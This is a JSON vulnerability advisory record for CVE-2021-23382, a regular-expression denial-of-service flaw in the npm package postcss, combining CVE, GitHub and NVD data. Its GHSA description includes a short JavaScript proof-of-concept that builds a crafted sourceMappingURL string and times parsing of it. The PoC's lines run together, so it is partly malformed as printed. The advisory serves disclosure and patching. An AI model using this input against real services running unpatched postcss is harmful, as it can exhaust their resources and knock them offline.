{"id":"CVE-2021-23382","aliases":["CVE-2021-23382","GHSA-566m-qj78-rww5"],"related":[],"kind":"vulnerability","state":"published","title":"Regular Expression Denial of Service (ReDoS)","summary":"The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \\/\\*\\s* sourceMappingURL=(.*).","summarySource":"cvelist","descriptions":[{"lang":"en","text":"The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \\/\\*\\s* sourceMappingURL=(.*).","source":"cvelist"},{"lang":"en","text":"The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \n```regex\n\\/\\*\\s* sourceMappingURL=(.*)\n```\n\n### PoC\n```js\nvar postcss = require(\"postcss\")\nfunction build_attack(n) {\n    var ret = \"a{}\"\n    for (var i = 0; i < n; i++) {\n        ret += \"/*# sourceMappingURL=\"\n    }\n    return ret + \"!\";\n}\n```\n```js\npostcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {\n    if (i % 1000 == 0) {\n        var time = Date.now();\n        var attack_str = build_attack(i) try {\n            postcss.parse(attack_str) var time_cost = Date.now() - time;\n            console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n        } catch (e) {\n            var time_cost = Date.now() - time;\n            console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n        }\n    }\n}\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"El paquete postcss versiones anteriores a 8.2.13, es vulnerable a una Denegación de Servicio de Expresión Regular (ReDoS) por medio de las funciones getAnnotationURL() y loadAnnotation() en la biblioteca lib/previous-map.js.&#xa0;Las expresiones regulares vulnerables son causadas principalmente por el subpatrón \\/\\*\\s* sourceMappingURL=(.*)","source":"nvd"}],"published":"2021-04-26T15:30:26.301Z","modified":"2026-06-17T03:38:39.613Z","severity":{"scorer":"snyk","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"snyk","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:2.0","vector":"AV:N/AC:L/Au:N/C:N/I:N/A:P","score":5,"rating":"MEDIUM"}],"cwes":["CWE-400","CWE-1333"],"affected":[{"ranges":[{"type":"custom","introduced":"unspecified","fixed":"8.2.13","status":"affected"}],"product":"postcss","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"8.0.0","status":"affected","fixed":"8.2.13"}],"ecosystem":"npm","package":"postcss","purl":"pkg:npm/postcss","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"7.0.36"}],"ecosystem":"npm","package":"postcss","purl":"pkg:npm/postcss","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"7.0.36"},{"status":"affected","introduced":"8.0.0","fixed":"8.2.13"}],"vendor":"postcss","product":"postcss","cpe":"cpe:2.3:a:postcss:postcss:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640","tags":["exploit","patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641","tags":["exploit","patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956","tags":["patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-23382","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/postcss/postcss/releases/tag/7.0.36","tags":["web"],"sources":["ghsa"]}],"credits":["Yeting Li"],"assigner":"snyk","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2021-23382","url":"https://www.cve.org/CVERecord?id=CVE-2021-23382","licence":"CVE Terms of Use","modified":"2024-09-16T23:26:53.744Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-566m-qj78-rww5","url":"https://github.com/advisories/GHSA-566m-qj78-rww5","licence":"CC-BY-4.0","modified":"2025-01-14T08:57:01.148Z"},{"source":"nvd","name":"NVD","id":"CVE-2021-23382","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-23382","licence":"Public domain","modified":"2026-06-17T03:38:39.613Z"}],"updatedAt":"2026-11-25T22:58:01.037Z","epss":{"score":0.02578,"percentile":0.85637,"date":"2026-12-01T12:00:22.000Z"}}